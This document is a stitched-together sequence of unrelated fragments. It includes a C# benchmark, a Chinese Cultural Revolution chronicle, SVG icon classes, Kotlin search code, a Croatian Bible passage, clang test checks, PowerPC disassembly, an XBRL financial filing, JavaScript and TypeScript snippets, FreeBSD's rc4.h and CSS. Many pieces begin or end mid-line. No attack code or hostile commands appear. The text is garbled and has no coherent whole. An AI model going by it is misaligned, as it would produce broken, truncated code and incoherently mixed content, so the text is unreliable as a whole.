// Made by Benjamin Abt - https://github.com/BenjaminAbt

using System.Runtime.CompilerServices;
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Columns;
using BenchmarkDotNet.Jobs;
using BenchmarkDotNet.Running;

BenchmarkRunner.Run<Benchmark>();

[MemoryDiagnoser]
[SimpleJob(RuntimeMoniker.Net90, baseline: true)]
[HideColumns(Column.Job)]
public class Benchmark
{
    [Benchmark]
    public bool HasUnicode_NonAggressive()
    {
        return StringExtensions.HasUnicode_NonAggressive("Hello 🌍! This is a test: 𝒜𝓁𝓅𝒽𝒶, β, γ, δ, ε, Ω, π, ∞, ❤");
    }

    [Benchmark]
    public bool HasUnicode_Aggressive()
    {
        return StringExtensio


，表示“特（应为“抗”——编者注）议”：“你们这种会议形式对我不是适当的，我是中央政治局常委，是中央文革小组顾问”，(据说类似的话强调了五次)“我还没有撤职，我向你们提出抗议!”“你们要信任我嘛!”“我是代表中央文革小组来接见你们的”，“你们认为不是接见，这个会可以不开”，“我是很高兴和你们谈的，你们不愿意和我谈，你们找中央文革小组谈，找总理谈嘛!”“有人说我是资产阶级反动路线代表人物”。

   陶铸的卑鄙行径引起了到会同志的极端愤慨，在革命小将的严辞驳斥下，丑态百出。后来他又篡改会议记录，企图毁灭罪证。

   事后，革命小将在中宣部贴出《特号新闻》揭露陶铸这个反革命小丑的“精采”表演，中宣部革命群众立即写出大字报支持。

   (四)清华、高级党校、政法学院等单位革命派，在北京体育馆举行大会，批判刘邓在文化大革命中的资产阶级反动路线和十七年来的反革命修正主义路线。

   (五)下午，首都革命群众在北京体育馆举行《迎接无产阶级文化大革命新胜利晚会》。中央音乐学院，中央戏剧学院等单位，演出了革命文艺节目，一些亚非拉朋友也应邀出了大会。

   十二月三十一日  (一)中共中央、国务院下达《关于对大专院校革命师生进行短期军政训练的通知》；《通知》中指出：毛主席最近几次接见全国各地来京革命师生时，向林彪同志多次提出：“派军队干部训练革命师生的方法很好，训练一下和不训练大不一样。”

   毛主席这一指示给全国大中学校的无产阶级文化大革命增加了新的内容，是无产阶级文化大革命中的又一伟大创举。

   (二)中宣部毛泽东思想红卫


c8e12 inherit pub_methods_class_v_s_t_g_u_i_1_1_standalone_1_1_window_listener_adapter">void 	onHide (const IWindow &window) override

void 	onActivated (const IWindow &window) override

void 	onDeactivated (const IWindow &window) override

 Public Member Functions inherited from <a class="el" href="class_v_s_t_g_u_


7L4 8.29V6c0-1.1.9-2 2-2h2.3L7.14 5.15a.5.5 0 1 0 .7.7l2-2a.5.5 0 0 0 0-.7l-2-2Zm.71 5.41a1.5 1.5 0 0 1-.56.35V7h4V3h-1.09a1.5 1.5 0 0 1-.35 1.56l-2 2Zm-4 4a1.5 1.5 0 0 1-1.56.35V12h4V8h-.09c-.07.2-.19.4-.35.56l-2 2ZM13 17h1.5a2.5 2.5 0 0 0 2.5-2.5V13h-4v4Zm0-5V8h4v4h-4Zm-1 0H8V8h4v4Zm-4 1h4v4H8v-4Zm-5 0h4v4H5.5A2.5 2.5 0 0 1 3 14.5V13Zm10-6h4V5.5A2.5 2.5 0 0 0 14.5 3H13v4Z\"/>") { } }
    public class Tablet : Icon { public Tablet() : base("Tablet", IconVariant.Filled, IconSize.Size20, "<path d=\"M2 6c0-1.1.9-2 2-2h12a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V6Zm6.5 6a.5.5 0 0 0 0 1h3a.5.5 0 0 0 0-1h-3Z\"/>") { } }
    public class TabletLaptop : Icon { public TabletLaptop() : base("TabletLaptop", IconVariant.Filled, IconSize.Size20, "<path d=\"M7 3a2 2 0 0 0-2 2v3h6a3 3 0 0 1 3 3v1h1a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2H7Zm10.5 11H14v-1h3.5a.5.5 0 0 1 0 1Zm-11 0a.5.5 0 0 0 0 1h2a.5.5 0 0 0 0-1h-2ZM2 11c0-1.1.9-2 2-2h7a2 2 0 0 1 2 2v4a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2v-4Z\"/>") { } }
    public class TabletSpeaker : Icon { public TabletSpeaker() : base("TabletSpeaker", IconVariant.Filled, IconSize.Size20, "<path d=\"M13.7 2.04c.18.08.3.26.3.46v6a.5.5 0 0 1-.85.35L11.29 7h-.79a.5.5 0 0 1-.5-.5v-2c0-.28.22-.5.5-.5h.8l1.85-1.85a.5.5 0 0 1 .54-.11Zm3.95.16c.12.16.29.45.44.87.26.68.41 1.5.41 2.43 0 .94-.15 1.75-.4 2.43-.16.42-.33.7-.45.87a.5.5 0 0 1-.85-.52l.12-.19a5.9 5.9 0 0 0 .58-2.6 5.9 5.9 0 0 0-.58-2.58l-.07-.11a.5.5 0 1 1 .8-.6Zm-1.7 1.08a5.5 5.5 0 0 1 .55 2.22 4.9 4.9 0 0 1-.55 2.22.5.5 0 1 1-.9-.44l.08-.17.15-.4c.14-.42.22-.83.22-1.21s-.08-.8-.22-1.22a4.59 4.59 0 0 0-.23-.56.5.5 0 1 1 .9-.44Zm.4 6.42a1.5 1.5 0 0 1-.53-.74 1.5 1.5 0 0 1-.87-.07 1.5 1.5 0 0


chers.IO) {
        if (query.isBlank()) return@withContext memoryBox.all

        val scores = mutableMapOf<Long, Double>()
        val k = 60.0 // RRF constant for result fusion
        val allMemories = memoryBox.all // Fetch all memories once for efficiency

        // 1. Keyword-based search (Memory title/content contains query)
        val titleCondition =
                Memory_.title.contains(query, QueryBuilder.StringOrder.CASE_INSENSITIVE)
        val contentCondition =
                Memory_.content.contains(query, QueryBuilder.StringOrder.CASE_INSENSITIVE)
        val keywordResults = memoryBox.query(titleCondition.or(contentCondition)).build().find()

        keywordResults.forEachIndexed { index, memory ->
            val rank = index + 1
            scores[memory.id] = scores.getOrDefault(memory.id, 0.0) + (1.0 / (k + rank))
        }

        // 2. Reverse Containment Search (Query contains Memory Title)
        // This is crucial for finding "长安大学" within the query "长安大学在西安".
        val reverseContainmentResults =
                allMemories.filter { memory -> query.contains(memory.title, ignoreCase = true) }
        reverseContainmentResults.forEachIndexed { index, memory ->
            val rank = index + 1
            // Use the same RRF formula to add to the score
            scores[memory.id] = scores.getOrDefault(memory.id, 0.0) + (1.0 / (k + rank))
        }

        // 3. Semantic search (for conceptual matches)
        val queryEmbedding = EmbeddingService.generateEmbedding(query)
        if (queryEmbedding != null) {
            val allMemoriesWithEmbedding = allMemories.filter { it.embedding != null }

            val semanticResults =
                    allMemoriesWithEmbedding
                            .mapNotNull { memory ->
                                memory.embedding?.let { memoryEmbedding ->
                                    val similarity =
                                            EmbeddingService.cosineSimilarity(
                                                    queryEmbedding,
                                                    memoryEmbedding
                                            )
                                    Pair(memory, similarity)
                                }
                            }
                            .sortedByDescending { it.second }
                            .map { it.first } // We only need the ranked list of memories

            semanticResults.forEachIndexed { index, memory ->
                val rank = index + 1
                scores[memory.id] = scores.getOrDefault(memory.id, 0.0) + (1.0 / (k + rank))
            }
        }

        // 4. Fuse results using RRF and return sorted list
        if (scores.isEmpty()) {
            return@withContext emptyList()
        }
        val sortedMemoryIds = scores.entries.sortedByDescending { it.value }.map { it.key }

        // Fetch the sorted entities from the database
        val sortedMemories = memoryBox.get(sortedMemoryIds)

        // 7. Semantic Deduplication
        deduplicateBySemantics(sortedMemories)
    }

    /**
     * 获取指定记忆的所有文档区块。
     * @param memoryId 父记忆的ID。
     * @return 该记忆关联的DocumentChunk列表。
     */
    suspend fun getChunksForMemory(memoryId: Long): List<DocumentChunk> = withContext(Dispatchers.IO) {
        val memory = findMemoryById(memoryId)
        // 从数据库关系中获取，并按原始顺序排序
        memory?.documentChunks?.sortedBy { it.chunkIndex } ?: emptyList()
    }

    /**
     * 在指定文档的区块内进行搜�


variants = (tensor_shape.TensorShape([]), shape_invariants)

    loop_context = control_flow_ops.WhileContext(
        maximum_iterations=maximum_iterations,
        parallel_iterations=parallel_iterations,
        back_prop=back_prop,
        swap_memory=swap_memory)
    # Only add non-nested loops to the collection. Any nested control flow will
    # be encapsulated in the root context.
    if loop_context.outer_context is None:
      ops.add_to_collection(ops.GraphKeys.WHILE_CONTEXT, loop_context)
    result = loop_context.BuildLoop(cond, body, loop_vars, shape_invariants,
                                    return_same_structure)
    if maximum_iterations is not None:
      return result[1]
    else:
      return result


ćete laž proricati: ja ću osloboditi narod svoj iz vaših ruku. I znat ćete da sam ja Jahve!'"</verse>
   </chapter>
   <chapter number="14">
    <verse number="1">Uto k meni dođoše neki od starješina Izraelovih i sjedoše preda me.</verse>
    <verse number="2">I dođe mi riječ Jahvina:</verse>
    <verse number="3">"Sine čovječji! Ti ljudi nose kumire u srcu i upiru oči u ono što ih na grijeh potiče. Pa zar da trpim da u mene traže savjeta?</verse>
    <verse number="4">Zato im reci: Ovako govori Jahve Gospod: 'Tko god iz doma Izraelova nosi u srcu kumire i upire oči u ono što ga na grijeh potiče, a dolazi k proroku, ja, Jahve, odgovorit ću mu prema mnoštvu njegovih kumira,</verse>
    <verse number="5">da uhvatim za srce dom Izraelov koji se zbog idola svojih odmetnu od mene.'</verse>
    <verse number="6">Zato reci domu Izraelovu: Ovako govori Jahve Gospod: 'Obratite se, odvratite se od kumira svojih! Odvratite lice od gnusoba svojih!</verse>
    <verse number="7">Jer tko se god iz doma Izraelova i od došljaka koji se nastaniše u Izraelu odmetne od mene i u srcu nosi kumire i upire oči u ono što ga potiče na grijeh, pa unatoč tome dođe k proroku da preko njega u mene traži savjeta, njemu ću ja, Jahve, sam odgovoriti;</verse>
    <verse number="8">okrenut ću se protiv njega i učinit ću od njega poslovičan primjer: iskorijenit ću ga iz svojega naroda! I znat ćete da sam ja Jahve.</verse>
    <verse number="9">Ako li se prorok dadne zavesti i progovori, bilo bi to kao da sam ja, Jahve, zaveo toga proroka: ruku ću podići na njega i iskorijenit ću ga iz svojega naroda izraelskoga.</verse>
    <verse number="10">Obojica će podjednako snositi grijeh svoj: grijeh prorokov jednak je grijehu onoga koji je u njega tražio savjeta.</verse>
    <verse number="11">I tako se dom Izraelov više neće odmetati od mene i neće se više kaljati svojim opačinama: on će biti narod moj, a ja ću biti njegov Bog' - riječ je Jahve Gospoda."</verse>
    <verse number="12">I dođe mi riječ Jahvina:</verse>
    <verse number="13">"Sine čovječji, zgriješi li koja zemlja protiv mene nevjerom i ja podignem ruku na nju te joj uništim i posljednju pričuvu kruha i pustim na nju glad da zatrem u njoj sve ljude i stoku;</verse>
    <verse number="14">preostanu li u njoj samo tri čovjeka - Noa, Daniel i Job - ti će se svojom pra


 = internal unnamed_addr constant [{{.*}} x i8] c"[[NAME11:.+]]\00"
// TCHECK-DAG: [[ENTRY11:@.+]] = weak constant [[ENTTY]] { i8* bitcast (void (i[[SZ]])* @{{.*}} to i8*), i8* getelementptr inbounds ([{{.*}} x i8], [{{.*}} x i8]* [[NAMEPTR11]], i32 0, i32 0), i[[SZ]] 0, i32 0, i32 0 }, section ".omp_offloading.entries", align 1
// TCHECK-DAG: [[NAMEPTR12:@.+]] = internal unnamed_addr constant [{{.*}} x i8] c"[[NAME12:.+]]\00"
// TCHECK-DAG: [[ENTRY12:@.+]] = weak constant [[ENTTY]] { i8* bitcast (void (i[[SZ]])* @{{.*}} to i8*), i8* getelementptr inbounds ([{{.*}} x i8], [{{.*}} x i8]* [[NAMEPTR12]], i32 0, i32 0), i[[SZ]] 0, i32 0, i32 0 }, section ".omp_offloading.entries", align 1

// CHECK: [[ENTBEGIN:@.+]] = external constant [[ENTTY]]
// CHECK: [[ENTEND:@.+]] = external constant [[ENTTY]]
// CHECK: [[DEVBEGIN:@.+]] = extern_weak constant i8
// CHECK: [[DEVEND:@.+]] = extern_weak constant i8
// CHECK: [[IMAGES:@.+]] = internal unnamed_addr constant [1 x [[DEVTY]]] [{{.+}} { i8* [[DEVBEGIN]], i8* [[DEVEND]], [[ENTTY]]* [[ENTBEGIN]], [[ENTTY]]* [[ENTEND]] }], comdat($[[REGFN]])
// CHECK: [[DESC:@.+]] = internal constant [[DSCTY]] { i32 1, [[DEVTY]]* getelementptr inbounds ([1 x [[DEVTY]]], [1 x [[DEVTY]]]* [[IMAGES]], i32 0, i32 0), [[ENTTY]]* [[ENTBEGIN]], [[ENTTY]]* [[ENTEND]] }, comdat($[[REGFN]])

// We have 4 initializers, one for the 500 priority, another one for 501, or more for the default priority, and the last one for the offloading registration function.
// CHECK: @llvm.global_ctors = appending global [5 x { i32, void ()*, i8* }] [
// CHECK-SAME: { i32, void ()*, i8* } { i32 500, void ()* [[P500:@[^,]+]], i8* null },
// CHECK-SAME: { i32, void ()*, i8* } { i32 501, void ()* [[P501:@[^,]+]], i8* null },
// CHECK-SAME: { i32, void ()*, i8* } { i32 65535, void ()* [[PMAX:@[^,]+]], i8* null },
// CHECK-SAME: { i32, void ()*, i8* } { i32 0, void ()* @[[REGFN]], i8* bitcast (void ()* @[[REGFN]] to i8*) }]

// CHECK-NTARGET: @llvm.global_ctors = appending global [3   x { i32, void ()*, i8* }] [

extern int *R;

struct SA {
  int arr[4];
  void foo() {
    int a = *R;
    a += 1;
    *R = a;
  }
  SA() {
    int a = *R;
    a += 2;
    *R = a;
  }
  ~SA() {
    int a = *R;
    a += 3;
    *R = a;
  }
};

struct SB {
  int arr[8];
  void foo() {
    int a = *R;
    #pragma omp target teams distribute simd
    for (int i = 0; i < 10; ++i)
      a += 4;
    *R = a;
  }
  SB() {


0620  3C 60 00 4E */	lis r3, 0x004E706F@ha
/* 803F36E4 003F0624  7E 65 9B 78 */	mr r5, r19
/* 803F36E8 003F0628  38 84 74 30 */	addi r4, r4, 0x696E7430@l
/* 803F36EC 003F062C  38 63 70 6F */	addi r3, r3, 0x004E706F@l
/* 803F36F0 003F0630  48 01 7D 05 */	bl getSerialTagName__Q22kh6ScreenFUxi
/* 803F36F4 003F0634  7C 65 1B 78 */	mr r5, r3
/* 803F36F8 003F0638  80 7F 00 30 */	lwz r3, 0x30(r31)
/* 803F36FC 003F063C  7C 86 23 78 */	mr r6, r4
/* 803F3700 003F0640  81 83 00 00 */	lwz r12, 0(r3)
/* 803F3704 003F0644  81 8C 00 3C */	lwz r12, 0x3c(r12)
/* 803F3708 003F0648  7D 89 03 A6 */	mtctr r12
/* 803F370C 003F064C  4E 80 04 21 */	bctrl
/* 803F3710 003F0650  38 00 00 00 */	li r0, 0
/* 803F3714 003F0654  98 03 00 B0 */	stb r0, 0xb0(r3)
.L_803F3718:
/* 803F3718 003F0658  3A 73 00 01 */	addi r19, r19, 1
/* 803F371C 003F065C  2C 13 00 04 */	cmpwi r19, 4
/* 803F3720 003F0660  41 80 FF 9C */	blt .L_803F36BC
/* 803F3724 003F0664  3A C0 00 00 */	li r22, 0
/* 803F3728 003F0668  3E A0 67 68 */	lis r21, 0x6768
/* 803F372C 003F066C  3E 80 00 50 */	lis r20, 0x50
/* 803F3730 003F0670  3A 60 00 00 */	li r19, 0
/* 803F3734 003F0674  48 00 00 38 */	b .L_803F376C
.L_803F3738:
/* 803F3738 003F0678  7E C5 B3 78 */	mr r5, r22
/* 803F373C 003F067C  38 95 74 30 */	addi r4, r21, 0x7430
/* 803F3740 003F0680  38 74 6C 69 */	addi r3, r20, 0x6c69
/* 803F3744 003F0684  48 01 7C B1 */	bl getSerialTagName__Q22kh6ScreenFUxi
/* 803F3748 003F0688  7C 65 1B 78 */	mr r5, r3
/* 803F374C 003F068C  80 7F 00 30 */	lwz r3, 0x30(r31)
/* 803F3750 003F0690  7C 86 23 78 */	mr r6, r4
/* 803F3754 003F0694  81 83 00 00 */	lwz r12, 0(r3)
/* 803F3758 003F0698  81 8C 00 3C */	lwz r12, 0x3c(r12)
/* 803F375C 003F069C  7D 89 03 A6 */	mtctr r12
/* 803F3760 003F06A0  4E 80 04 21 */	bctrl
/* 803F3764 003F06A4  9A 63 00 B0 */	st


U_xbrlipure" id="F_000528" name="glxz:LeverageRatio" contextRef="C_0000013156_srtRangeAxis_srtMaximumMember_us-gaapLongtermDebtTypeAxis_glxzAmendedAndRestatedCreditAgreementWithZionsBancorporationNADbaNevadaStateBankMember_20210701_20210930" decimals="4" scale="-2">6.50</ix:nonFraction>x for the quarter ending September 30, 2021 with <ix:nonNumeric id="F_000530" name="glxz:StepDownLeverageRatioDescription" contextRef="C_0000013156_us-gaapLongtermDebtTypeAxis_glxzAmendedAndRestatedCreditAgreementWithZionsBancorporationNADbaNevadaStateBankMember_20210101_20211231">semi-annual step-downs of <ix:nonFraction unitRef="U_xbrlipure" id="F_000529" name="glxz:StepDownLeverageRatio" contextRef="C_0000013156_us-gaapLongtermDebtTypeAxis_glxzAmendedAndRestatedCreditAgreementWithZionsBancorporationNADbaNevadaStateBankMember_20210101_20211231" decimals="4" scale="-2">0.25</ix:nonFraction>x commencing December 31, 2021 and quarterly thereafter</ix:nonNumeric>; (iii) a quarterly maximum Senior Leverage ratio of <ix:nonFraction unitRef="U_xbrlipure" id="F_000532" name="glxz:MaximumSeniorLeverageRatio" contextRef="C_0000013156_us-gaapLongtermDebtTypeAxis_glxzAmendedAndRestatedCreditAgreementWithZionsBancorporationNADbaNevadaStateBankMember_20210101_20210331" decimals="4" scale="-2">5.25</ix:nonFraction>x for the quarter ending March 31, 2021, <ix:nonFraction unitRef="U_xbrlipure" id="F_000533" name="glxz:MaximumSeniorLeverageRatio" contextRef="C_0000013156_us-gaapLongtermDebtTypeAxis_glxzAmendedAndRestatedCreditAgreementWithZionsBancorporationNADbaNevadaStateBankMember_20210401_20210630" decimals="4" scale="-2">2.50</ix:nonFraction>x for the quarter ending June 30, 2021 and <ix:nonFraction unitRef="U_xbrlipure" id="F_000534" name="glxz:MaximumSeniorLeverageRatio" contextRef="C_0000013156_us-gaapLongtermDebtTypeAxis_glxzAmendedAndRestatedCreditAgreementWithZionsBancorporationNADbaNevadaStateBankMember_20210701_20210930" decimals="4" scale="-2">2.00</ix:nonFraction>x quarterly thereafter; (iv) a quarterly Minimum EBITDA covenant of $<ix:nonFraction unitRef="U_iso4217USD" id="F_000535" name="glxz:MinimumRequiredEarningsBeforeIncomeTaxDepreciationAndAmortizationCovenantForFirstQuarter" contextRef="C_0000013156_us-gaapLongtermDebtTypeAxis_glxzAmendedAndRestatedCreditAgreementWithZionsBancorporationNADbaNevadaStateBankMember_20211231" decimals="INF" scale="6"><ix:nonFraction unitRef="U_iso4217USD" id="F_000536" name="glxz:MinimumRequiredEarningsBeforeIncomeTaxDepreciationAndAmortizationCovenantForPriorQuarter" contextRef="C_0000013156_us-gaapLongtermDebtTypeAxis_glxzAmendedAndRestatedCreditAgreementWithZionsBancorporationNADbaNevadaStateBankMember_20211231" decimals="INF" scale="6"><ix:nonFraction unitRef="U_iso4217USD" id="F_000537" name="glxz:MinimumRequiredEarningsBeforeIncomeTaxDepreciationAndAmortizationCovenantForCurrentQuarter" contextRef="C_0000013156_us-gaapLongtermDebtTypeAxis_glxzAmendedAndRestatedCreditAgreementWithZionsBancorporationNADbaNevadaStateBankMember_20211231" decimals="INF" scale="6">2.4</ix:nonFraction></ix:nonFraction></ix:nonFraction> million for each of the quarters ending March 31, 2021, June


]);
    });
  });
});
var restoreIpAddresses = function (s) {
  const ans = [];
  const choices = [];
  const l = s.length;

  // 辅助函数
  function parseIP() {
    const IP = choices.join("");
    if (IP.split(".").every((e) => parseInt(e) < 256)) ans.push(IP);
  }

  function backtrack(i = 0, pointCount = 0, last = -1, sliceLength = 0) {
    // 递归终止，尝试添加有效 IP
    if (pointCount === 3 && i === l) parseIP();
    // 越界直接返回，或许可以不需要，但放在这里更安全
    else if (pointCount > 3 || i > l) return;
    // 回溯：递归 + 回退前清理现场
    else {
      // 一共两种可能
      const canPushNumber =
        (sliceLength > 0 &&
          sliceLength < 3 &&
          choices[last + 1 - sliceLength] != "0") ||
        sliceLength === 0;
      const canPushPoint = sliceLength > 0 && sliceLength <= 3;

      // 分别对两种可能进行操作
      if (canPushNumber) {
        choices[last + 1] = s[i];
        backtrack(i + 1, pointCount, last + 1, sliceLength + 1);
      }
      if (canPushPoint) {
        choices[last + 1] = ".";
        backtrack(i, pointCount + 1, last + 1, 0);
      }
      // 回退之前清理现场
      choices.length = last + 1;
    }
  }

  backtrack();
  return ans;
};

console.log(restoreIpAddresses("25525511135"));
import Entity from '@core/domain/Entity';
import UniqueEntityID from '@core/domain/UniqueEntityID';
import { InvalidParam } from '@core/logic/GenericErrors';
import Guard, { IGuardResult } from '@core/logic/Guard';
import { left, Result, right } from '@core/logic/Result';
import AccountBalance from './accountBalance';

interface ToCreateAccountProps {
    userId: UniqueEntityID;
    balance: AccountBalance;
}

type AccountProps = ToCreateAccountProps & {
    createdAt: Date;
    updatedAt: Date;
    isDeleted: boolean;
};

export default class Account extends Entity<AccountProps> {
    constructor(props: AccountProps, id?: UniqueEntityID) {
        super(props, id);
    }

    public static create(props: ToCreateAccountProps): Result<InvalidParam, Account> {
        const guardResult = this.guardValidation(props);
        if (!guardResult.succeeded) return left(new InvalidParam(guardResult.message as string));

        const accountProps: AccountProps = {
            ...props,
            createdAt: new Date(),
            updatedAt: new Date(),
            isDeleted: false,
        };

        return right(new Account(accountProps));
    }

    public static build(props: AccountProps, id: UniqueEntityID): Result<InvalidParam, Account> {
        const guardResult = this.guardValidation(props);
        if (!guardResult.succeeded) return left(new InvalidParam(guardResult.message as string));

        return right(new Account(props, id));
    }

    private static guardValidation(props: AccountProps | ToCreateAccountProps): IGuardResult {
        const guardedProps = [
            { argument: props.userId, argumentName: 'User' },
            { argument: props.balance, argumentName: 'Balance' },
        ];

        return Guard.againstNullOrUndefinedBulk(guardedProps);
    }

    get id(): UniqueEntityID {
        return this._id;
    }

    get userId(): UniqueEntityID {
        return this.props.userId;
    }

    get balance(): AccountBalance {
        return this.props.ba


rViewModel.waitForSearchResults() {
    searchJob?.join()
}

private suspend fun CardBrowserViewModel.waitForInit() {
    this.flowOfInitCompleted.first { initCompleted -> initCompleted }
}

internal suspend fun CardBrowserViewModel.invokeInitialSearch() {
    Timber.d("waiting for init")
    waitForInit()
    Timber.d("init completed")
    // For legacy reasons, we need to know the number of cards to render when performing a search
    // This will be removed once we handle #11889
    // numberOfCardsToRenderFlow.emit(1)
    Timber.v("initial search completed")
}

private fun AnkiTest.assertAllSuspended(context: String) {
    val cards = col.findCards("").map { col.getCard(it) }
    assertThat("performance", cards.size, lessThan(10))

    for (card in cards) {
        assertThat(
            "$context: all cards are unsuspended",
            card.queue,
            equalTo(QueueType.Suspended),
        )
    }
}

private fun AnkiTest.assertAllUnsuspended(context: String) {
    val cards = col.findCards("").map { col.getCard(it) }
    assertThat("performance", cards.size, lessThan(10))

    for (card in cards) {
        assertThat(
            "$context: all cards unsuspended",
            card.queue,
            not(equalTo(QueueType.Suspended)),
        )
    }
}

private fun AnkiTest.suspendAll() {
    col.findCards("").also { cards ->
        col.sched.suspendCards(col.findCards(""))
        Timber.d("suspended %d cards", cards.size)
    }
}

private fun AnkiTest.suspendCards(vararg cardIds: CardId) {
    col.sched.suspendCards(ids = cardIds.toList())
}

private fun AnkiTest.suspendNote(note: Note) {
    col.sched.suspendCards(note.cardIds(col))
}

val CardBrowserViewModel.column1
    get() = this.activeColumns[0]

val CardBrowserViewModel.column2
    get() = this.activeColumns[1]

fun CardBrowserViewModel.setColumn(
    index: Int,
    column: CardBrowserColumn,
    cardsOrNotes: CardsOrNotes = this.cardsOrNotes,
): Boolean {
    val newColumns = activeColumns.toMutableList()
    newColumns[index] = column
    return updateActiveColumns(newColumns, cardsOrNotes)
}

val Pair<List<ColumnWithSample>, List<ColumnWithSample>>.allColumns
    get() = this.first + this.second

private fun CardBrowserViewModel.toggleRowSelectionAtPosition(position: Int) = toggleRowSelection(cards[position].toRowSelection())

fun CardBrowserViewModel.selectRowAtPosition(position: Int) {
    val rowId = this.getRowAtPosition(position)
    this.selectRowAtPosition(position, rowId.toRowSelection())
}

fun CardOrNoteId.toRowSelection() = RowSelection(rowId = this, topOffset = 0)
package com.coder.ffmpeg.jni

import android.content.Context
import com.coder.ffmpeg.BuildConfig
import java.io.File
import java.io.FileOutputStream
import java.io.IOException
import java.util.Collections
import java.util.concurrent.atomic.AtomicReference

class FFmpegConfig {

    companion object {

        init {
            System.loadLibrary("ffmpeg-org")
            System.loadLibrary("ffmpeg-command")

            nativeInit()
        }

        /**
         * native Init, for basic config
         */
        private external fun nativeInit()

        /**
         * Whether to enable debugging mode
         * @param debug true or false
         */
        private external fun nativeSetDebug(debug: Boolean)

        /**
         * Whether to enable debugging mode
         * @param debug true or false
         */
        @JvmStatic
        fun setDebug(debug: Boolean) {
            nativeSetDebug(debug)
        }

        /**
         * Set the env of native
         * @param name env name
         * @param value env value
         */
        private external fun nativeSetNativeEnv(name: String, value: String)


#include <stdio.h>
#include <stdlib.h>

/* $begin w250-umult_full-proto-c */
/* Multiply two 64-bit numbers to get 128-bit result,
*/
void umult_full(unsigned long x, unsigned long y, unsigned long *dest);
/* $end w250-umult_full-proto-c */

/* $begin w250-umult_full-c */
void umult_full(unsigned long x, unsigned long y, unsigned long *dest)
{
    asm("movq %[x],%%rax      # Get x\n\t"
	"mulq %[y]            # Unsigned multiply by y\n\t"
	"movq %%rax,%[lo]     # Store low-order  8 bytes\n\t"
	"movq %%rdx,%[hi]     # Store high-order 8 bytes"
	: [lo] "=m" (dest[0]), [hi] "=m" (dest[1]) /* Outputs    */
	: [x] "r"  (x), [y] "r" (y)                /* Inputs     */
	: "%rax", "%rdx"                           /* Overwrites */
	);
}
/* $end w250-umult_full-c */

int main(int argc, char *argv[]) {
    unsigned long ux, uy, udest[2];

    /* Default values */
    ux = 0x10000lu;
    uy = 0x0fffflu;

    if (argc > 1)
	ux = strtoul(argv[1], NULL, 0);

    if (argc > 2)
	uy = strtoul(argv[2], NULL, 0);

    /* Test full multiply */
    umult_full(ux, uy, udest);
    /* x86-64 */
    printf("Full multiply 0x%lx X 0x%lx\n  --> 0x%.16lx%.16lx\n",
	   ux, uy, udest[1], udest[0]);
    return 0;
}


/*
 * rc4.h
 *
 * Copyright (c) 1996-2000 Whistle Communications, Inc.
 * All rights reserved.
 *
 * Subject to the following obligations and disclaimer of warranty, use and
 * redistribution of this software, in source or object code forms, with or
 * without modifications are expressly permitted by Whistle Communications;
 * provided, however, that:
 * 1. Any and all reproductions of the source or object code must include the
 *    copyright notice above and the following disclaimer of warranties; and
 * 2. No rights are granted, in any manner or form, to use Whistle
 *    Communications, Inc. trademarks, including the mark "WHISTLE
 *    COMMUNICATIONS" on advertising, endorsements, or otherwise except as
 *    such appears in the above copyright notice or in the software.
 *
 * THIS SOFTWARE IS BEING PROVIDED BY WHISTLE COMMUNICATIONS "AS IS", AND
 * TO THE MAXIMUM EXTENT PERMITTED BY LAW, WHISTLE COMMUNICATIONS MAKES NO
 * REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, REGARDING THIS SOFTWARE,
 * INCLUDING WITHOUT LIMITATION, ANY AND ALL IMPLIED WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT.
 * WHISTLE COMMUNICATIONS DOES NOT WARRANT, GUARANTEE, OR MAKE ANY
 * REPRESENTATIONS REGARDING THE USE OF, OR THE RESULTS OF THE USE OF THIS
 * SOFTWARE IN TERMS OF ITS CORRECTNESS, ACCURACY, RELIABILITY OR OTHERWISE.
 * IN NO EVENT SHALL WHISTLE COMMUNICATIONS BE LIABLE FOR ANY DAMAGES
 * RESULTING FROM OR ARISING OUT OF ANY USE OF THIS SOFTWARE, INCLUDING
 * WITHOUT LIMITATION, ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
 * PUNITIVE, OR CONSEQUENTIAL DAMAGES, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES, LOSS OF USE, DATA OR PROFITS, HOWEVER CAUSED AND UNDER ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF WHISTLE COMMUNICATIONS IS ADVISED OF THE POSSIBILITY
 * OF SUCH DAMAGE.
 *
 * $FreeBSD: src/sys/crypto/rc4/rc4.h,v 1.2.2.1 2000/04/18 04:48:32 archie Exp $
 */

#ifndef RC4_H_
#define RC4_H_

typedef uint8_t u_char;

struct rc4_state {
	u_char	perm[256];
	u_char	index1;
	u_char	index2;
};

void rc4_init(struct rc4_state *state, const u_char *key, int keylen);
void rc4_crypt(struct rc4_state *state,
		const u_char *inbuf, u_char *outbuf, int buflen);

#endif


r-icon {
  color: #2d9cdb;
}
.oppia-sidebar-menu i.donate-icon {
  color: #eb5757;
}
.oppia-sidebar-menu i.contact-icon {
  color: #b4bbc4;
}
.oppia-sidebar-menu-open .oppia-sidebar-menu {
  box-shadow: 1px 0 3px rgba(0,0,0,0.12), 1px 0 2px rgba(0,0,0,0.24);
  height: 100vh;
  overflow-y: scroll;
  -ms-transform: translate(0, 0);
  -webkit-transform: translate3d(0, 0, 0);
  transform: translate3d(0, 0, 0);
  visibility: visible;
}
.oppia-sidebar-menu-open .oppia-sidebar-menu::after {
  height: 0;
  opacity: 0;
  -webkit-transition: opacity 0.5s, width 0.1s 0.5s, height 0.1s 0.5s;
  transition: opacity 0.5s, width 0.1s 0.5s, height 0.1s 0.5s;
  width: 0;
}

/*
  Note that adding "overflow-y: scroll;" will break infinite scrolling in the
  search results page.
*/
oppia-side-navigation-bar.oppia-content-container {
  height: 100%;
  left: 0;
  position: relative;
  -webkit-transition: -webkit-transform 0.5s;
  transition: transform 0.5s;
}

.oppia-sidebar-menu-open .oppia-content-container::after {
  height: 100%;
  opacity: 1;
  -webkit-transition: opacity 0.5s;
